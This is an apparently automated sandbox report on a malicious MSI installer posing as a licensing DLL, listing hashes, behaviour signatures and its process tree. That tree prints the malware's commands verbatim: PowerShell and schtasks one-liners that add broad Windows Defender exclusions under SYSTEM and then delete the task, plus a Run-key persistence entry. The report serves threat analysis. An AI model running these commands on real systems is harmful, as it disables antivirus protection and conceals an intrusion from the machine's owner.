Analysis
- max time kernel
147s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/08/2026, 01:16
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_c0rd004.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_c0rd004.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target install_c0rd004.msi
- Size 8.6MB
- Sample260801-bm8jaack9s
- SHA256 d8c4cd09a84e159c279d9e66e1ecb0151e3839593bc16ba44d194aba9afc7210
- MD5 b6f5164e2c4d6373de7e9ef28cbeb3c3
- SHA1 5e1770a620f9f53fa88994c4e7acfe50d5a9d384
- SHA512 d626593236e7c42cd968c453f1a3d2425cd2f33ae27fe4d5537d0e2e704a3f23d0d3f15905d6cc8b5de2c7c22d2a69a13023fedb67ae812d39dd0269d62e5f50
- SSDEEP 196608:r5UgPjavVwl4vlTYmGEhN8R7tw1UfLRZshZ:rBjf4vFYmROxLm
- TLSH T1DD963386B8C667B6C19FC3B45242282EBC387F917A720D073B9D771769736212B36349
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3528 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5824 dwsMmk.exe - Loads dropped DLL 2 IoCs
pid Process 3968 MsiExec.exe 5824 dwsMmk.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Hx3FXx\\dwsMmk.exe\"" dwsMmk.exe - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 13 3968 MsiExec.exe 14 3968 MsiExec.exe 15 3968 MsiExec.exe 16 3968 MsiExec.exe 18 3968 MsiExec.exe 19 3968 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 4 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3896 cmd.exe 880 cmd.exe 5696 cmd.exe 4380 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b dwsMmk.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DFE0463F3E4FC02034.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{D9042978-6444-D40B-2C07-4A301453BD6D} msiexec.exe File opened for modification C:\Windows\Installer\MSICE24.tmp msiexec.exe File created C:\Windows\Installer\e59c7ec.msi msiexec.exe File created C:\Windows\SystemTemp\~DF0C1050D23996AB04.TMP msiexec.exe File created C:\Windows\Installer\e59c7ea.msi msiexec.exe File opened for modification C:\Windows\Installer\e59c7ea.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFF2E93F22AB2DBB9E.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSICEE0.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFF9837D820EE9C157.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1328 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2336 cmd.exe 5068 cmd.exe 952 cmd.exe 2488 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000059e6eec40365f0360000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380159e6eec40000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410159e6eec4000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e359e6eec400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e659e6eec400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Clients = 3a0000000000 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16\8792409D4446B04DC270A4034135DBD6 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\PackageCode = "7A3192B84059C084CB235760141F9FC3" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\ProductName = "CPUSD Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\PackageName = "install_c0rd004.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6\UuueatYAD msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1232 schtasks.exe 6068 schtasks.exe 3144 schtasks.exe 2040 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2428 msiexec.exe 2428 msiexec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 3968 MsiExec.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe 5824 dwsMmk.exe - Suspicious behavior: LoadsDriver 5 IoCs
pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1328 msiexec.exe Token: SeIncreaseQuotaPrivilege 1328 msiexec.exe Token: SeSecurityPrivilege 2428 msiexec.exe Token: SeCreateTokenPrivilege 1328 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1328 msiexec.exe Token: SeLockMemoryPrivilege 1328 msiexec.exe Token: SeIncreaseQuotaPrivilege 1328 msiexec.exe Token: SeMachineAccountPrivilege 1328 msiexec.exe Token: SeTcbPrivilege 1328 msiexec.exe Token: SeSecurityPrivilege 1328 msiexec.exe Token: SeTakeOwnershipPrivilege 1328 msiexec.exe Token: SeLoadDriverPrivilege 1328 msiexec.exe Token: SeSystemProfilePrivilege 1328 msiexec.exe Token: SeSystemtimePrivilege 1328 msiexec.exe Token: SeProfSingleProcessPrivilege 1328 msiexec.exe Token: SeIncBasePriorityPrivilege 1328 msiexec.exe Token: SeCreatePagefilePrivilege 1328 msiexec.exe Token: SeCreatePermanentPrivilege 1328 msiexec.exe Token: SeBackupPrivilege 1328 msiexec.exe Token: SeRestorePrivilege 1328 msiexec.exe Token: SeShutdownPrivilege 1328 msiexec.exe Token: SeDebugPrivilege 1328 msiexec.exe Token: SeAuditPrivilege 1328 msiexec.exe Token: SeSystemEnvironmentPrivilege 1328 msiexec.exe Token: SeChangeNotifyPrivilege 1328 msiexec.exe Token: SeRemoteShutdownPrivilege 1328 msiexec.exe Token: SeUndockPrivilege 1328 msiexec.exe Token: SeSyncAgentPrivilege 1328 msiexec.exe Token: SeEnableDelegationPrivilege 1328 msiexec.exe Token: SeManageVolumePrivilege 1328 msiexec.exe Token: SeImpersonatePrivilege 1328 msiexec.exe Token: SeCreateGlobalPrivilege 1328 msiexec.exe Token: SeBackupPrivilege 2472 vssvc.exe Token: SeRestorePrivilege 2472 vssvc.exe Token: SeAuditPrivilege 2472 vssvc.exe Token: SeBackupPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeBackupPrivilege 2412 srtasks.exe Token: SeRestorePrivilege 2412 srtasks.exe Token: SeSecurityPrivilege 2412 srtasks.exe Token: SeTakeOwnershipPrivilege 2412 srtasks.exe Token: SeBackupPrivilege 2412 srtasks.exe Token: SeRestorePrivilege 2412 srtasks.exe Token: SeSecurityPrivilege 2412 srtasks.exe Token: SeTakeOwnershipPrivilege 2412 srtasks.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe Token: SeTakeOwnershipPrivilege 2428 msiexec.exe Token: SeRestorePrivilege 2428 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1328 msiexec.exe 1328 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1328 msiexec.exe 2428 msiexec.exe 3968 MsiExec.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2428 wrote to memory of 2412 2428 msiexec.exe 94 PID 2428 wrote to memory of 3968 2428 msiexec.exe 96 PID 5824 wrote to memory of 3528 5824 dwsMmk.exe 100 PID 5824 wrote to memory of 3896 5824 dwsMmk.exe 102 PID 3896 wrote to memory of 2040 3896 cmd.exe 104 PID 3896 wrote to memory of 4984 3896 cmd.exe 106 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_c0rd004.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1328
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:2412
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 13A1BB90A0E003D37D08110C82562BF4 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3968
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2472
-
C:\Users\Public\Hx3FXx\dwsMmk.exe"C:\Users\Public\Hx3FXx\dwsMmk.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5824 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:3528
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Hx3FXx\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3896 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Hx3FXx\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2040
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4984
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:880 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1232
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3576
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4920
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:5696 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6068
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4788
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1128
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4380 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3144
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4808
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2608
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Hx3FXx" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2336 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Hx3FXx" /t REG_DWORD /d 0 /f2⤵PID:3696
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:2936
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:5068 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵PID:2044
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:952 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵PID:6076
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2488
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Persistence
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59c7eb.rbs
- Size 7KB
- SHA256 320cb0a301da45bfe950837843356281437150d47c77f6fd675248634af35bfe
- MD5 77190adf44913131e9e131ac7cd9cf55
- SHA1 49c17008088e443c5532c337c0aa63db5a562ac9
